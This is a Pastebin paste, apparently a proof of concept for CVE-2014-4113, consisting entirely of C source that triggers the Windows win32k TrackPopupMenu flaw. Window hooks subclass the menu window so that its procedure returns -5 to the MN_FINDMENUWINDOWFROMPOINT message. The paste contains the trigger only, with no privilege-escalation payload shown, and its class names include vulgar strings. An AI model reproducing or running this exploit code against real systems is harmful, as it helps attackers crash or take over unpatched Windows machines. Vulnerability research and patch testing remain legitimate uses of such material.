Advertisement
crazykid_ceh

CVE-2014-4113-POC

Oct 24th, 2014
281
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include "stdafx.h"
  2. #include "tr.h"
  3.  
  4. #define MAX_LOADSTRING 100
  5.  
  6. #pragma comment(lib,"user32.lib")
  7.  
  8. HINSTANCE hInst;                                                                
  9. TCHAR szTitle[MAX_LOADSTRING];                                        
  10. TCHAR szWindowClass[MAX_LOADSTRING];                      
  11. CHAR szWindowClass1[MAX_LOADSTRING]="woqunimalegebi";;
  12. HWND global_hWnd;
  13.  
  14. ATOM                                MyRegisterClass(HINSTANCE hInstance);
  15. BOOL                                InitInstance(HINSTANCE, int);
  16. LRESULT CALLBACK        WndProc(HWND, UINT, WPARAM, LPARAM);
  17. INT_PTR CALLBACK        About(HWND, UINT, WPARAM, LPARAM);
  18.  
  19.  
  20. void xxxMenu(int idhook);
  21.  
  22. DWORD WINAPI startaddress(
  23.         _In_  LPVOID lpParameter
  24.         )
  25. {
  26.         xxxMenu(2);
  27.  
  28.         return 0;
  29. }
  30.  
  31. int APIENTRY _tWinMain(HINSTANCE hInstance,
  32.                      HINSTANCE hPrevInstance,
  33.                      LPTSTR    lpCmdLine,
  34.                      int       nCmdShow)
  35. {
  36.         UNREFERENCED_PARAMETER(hPrevInstance);
  37.         UNREFERENCED_PARAMETER(lpCmdLine);
  38.  
  39.         HANDLE hthread = CreateThread(0,0,startaddress,0,0,0);
  40.  
  41.         if (WaitForSingleObject(hthread,0x493e0))
  42.         {
  43.                 TerminateThread(hthread,0);
  44.                 return 0;
  45.         }
  46.         return 0;
  47. }
  48.  
  49.  
  50. #define MN_ENDMENU 0x1F3
  51. HHOOK hhk;
  52.  
  53. unsigned int g_flag=0;
  54. unsigned int g_flag1= 0 ;
  55. unsigned int g_flag2=0;
  56. #define  MN_FINDMENUWINDOWFROMPOINT 0x1eb
  57.  
  58.  
  59. WNDPROC lpPrevWndFunc;
  60.  
  61. LRESULT CALLBACK fn(
  62.         _In_  int code,
  63.         _In_  WPARAM wParam,
  64.         _In_  LPARAM lParam
  65.         )
  66. {
  67.         if (wParam==4)
  68.         {
  69.                 if (*(DWORD *)lParam == GetCurrentThreadId())
  70.                 {
  71.                         if (*(DWORD *)(lParam+12)==0x900516)
  72.                         {
  73.                                 g_flag1 = 1;
  74.                         }
  75.                 }
  76.         }
  77.         return CallNextHookEx(0,code,wParam,lParam);
  78.  
  79. }
  80.  
  81.  
  82. LRESULT  newWinlng(HWND hwnd,
  83.         UINT uMsg,
  84.         WPARAM wParam,
  85.         LPARAM lParam)
  86. {
  87.         if ( uMsg != MN_FINDMENUWINDOWFROMPOINT )
  88.         {
  89.                 return CallWindowProcA(lpPrevWndFunc, hwnd, uMsg, wParam, lParam);
  90.         }
  91.  
  92.         SetWindowsHookExA(9, fn, 0, GetCurrentThreadId());
  93.         SendMessageA(hwnd, 0, 0x900516, 0);
  94.         UnhookWindowsHook(9, fn);
  95.         if ( g_flag1 )
  96.         {
  97.                 EndMenu();
  98.                 return CallWindowProcA(lpPrevWndFunc, hwnd, MN_FINDMENUWINDOWFROMPOINT, wParam, lParam);
  99.         }
  100.         EndMenu();
  101.         return -5;
  102.  
  103. }
  104.  
  105. LRESULT CALLBACK lpfn(
  106.         _In_  int code,
  107.         _In_  WPARAM wParam,
  108.         _In_  LPARAM lParam
  109.         )
  110. {
  111.        
  112.  
  113.         if (*(DWORD*)(lParam+8)==MN_FINDMENUWINDOWFROMPOINT)
  114.         {
  115.                 if (!g_flag)
  116.                 {
  117.                         g_flag = 1;
  118.                         if (UnhookWindowsHook(4,lpfn))
  119.                         {
  120.                                 lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam+12),-4,(LONG)newWinlng);
  121.  
  122.                         }
  123.                 }
  124.         }
  125.         return CallNextHookEx(0,code,wParam,lParam);
  126.  
  127. }
  128.  
  129.  
  130.  
  131. LRESULT CALLBACK WndProcTest_fuzz(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
  132. {
  133.         int wmId, wmEvent;
  134.         PAINTSTRUCT ps;
  135.         HDC hdc;
  136.         int idhoo;
  137.         switch (message)
  138.         {
  139.         case WM_ENTERIDLE:
  140.                 if (g_flag2!=1)
  141.                 {
  142.                         g_flag2=1;
  143.                         PostMessageA(hWnd,WM_KEYDOWN,0X28,0);
  144.                         PostMessageA(hWnd,WM_KEYDOWN,0x27,0);
  145.                         PostMessageA(hWnd,WM_LBUTTONDOWN,0,0);
  146.  
  147.                 }
  148.                 break;
  149.         default:
  150.                 return DefWindowProc(hWnd, message, wParam, lParam);
  151.         }
  152.         return 0;
  153. }
  154.  
  155. HMENU popMenu()
  156. {
  157.         HMENU hmenu = CreatePopupMenu();
  158.  
  159.         CHAR name[4] = "AAA";
  160.         MENUITEMINFOA item  ;
  161.         HMENU hmenu2;
  162.         memset(&item,0x00,sizeof(MENUITEMINFOA));
  163.         item.cbSize = sizeof(item);
  164.         item.fMask = MIIM_STRING;
  165.         //item.fType = MFT_STRING ;
  166.         //item.dwTypeData = name;
  167.         //item.cch = 4 ;
  168.  
  169.         if (InsertMenuItemA(hmenu , 0 , 1 ,  &item ))
  170.         {
  171.                 hmenu2 = CreatePopupMenu();
  172.                 CHAR name2[4] = "BBB";
  173.                 MENUITEMINFOA item2  ;
  174.                 memset(&item2,0x00,sizeof(MENUITEMINFOA));
  175.                 item2.cbSize = sizeof(item);
  176.                 item2.fMask = 0x44;
  177.                 item2.hSubMenu = hmenu;
  178.                 //item2.fType = MFT_STRING ;
  179.                 item2.dwTypeData = name;
  180.                 item2.cch = 1 ;
  181.                 if (!hmenu2 || !InsertMenuItemA(hmenu2,0,1,&item2))
  182.                 {
  183.                         DestroyMenu(hmenu);
  184.  
  185.                         if (hmenu2)
  186.                         {
  187.                                 DestroyMenu(hmenu2);
  188.                         }
  189.                 }
  190.         }
  191.         else
  192.         {
  193.                 DestroyMenu(hmenu);
  194.         }
  195.         return hmenu2;
  196. }
  197.  
  198. void xxxMenu(int idhook)
  199. {
  200.        
  201.         //registeclass
  202.         WNDCLASSA wcex;
  203.  
  204.         memset(&wcex,0x00,sizeof(wcex));
  205.  
  206.         wcex.lpfnWndProc        = WndProcTest_fuzz;
  207.  
  208.         wcex.lpszClassName        = "wocaonimalegeb";
  209.  
  210.         RegisterClassA(&wcex);
  211.        
  212.         HWND hwin = CreateWindowExA(0,"wocaonimalegeb",0, 0,
  213.                 -1, -1, 0, 0, NULL, NULL, 0, NULL);
  214.  
  215.         HMENU hmenu = popMenu();
  216.  
  217.         if (hmenu)
  218.         {
  219.  
  220.                 if (SetWindowsHookExA(WH_CALLWNDPROC,lpfn,0,GetCurrentThreadId()))
  221.                 {
  222.                         if (TrackPopupMenu(hmenu , 0 , -10000 , -10000 ,0,hwin , NULL ))
  223.                         {
  224.                                 PostMessageA(hwin,0,0,0);
  225.                         }
  226.                 }
  227.         }
  228.        
  229.         DestroyWindow(hwin);
  230.  
  231.         if (hmenu)
  232.         {
  233.                 DestroyMenu(hmenu);
  234.         }
  235.  
  236.         UnhookWindowsHook(WH_CALLWNDPROC,lpfn);
  237.  
  238. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement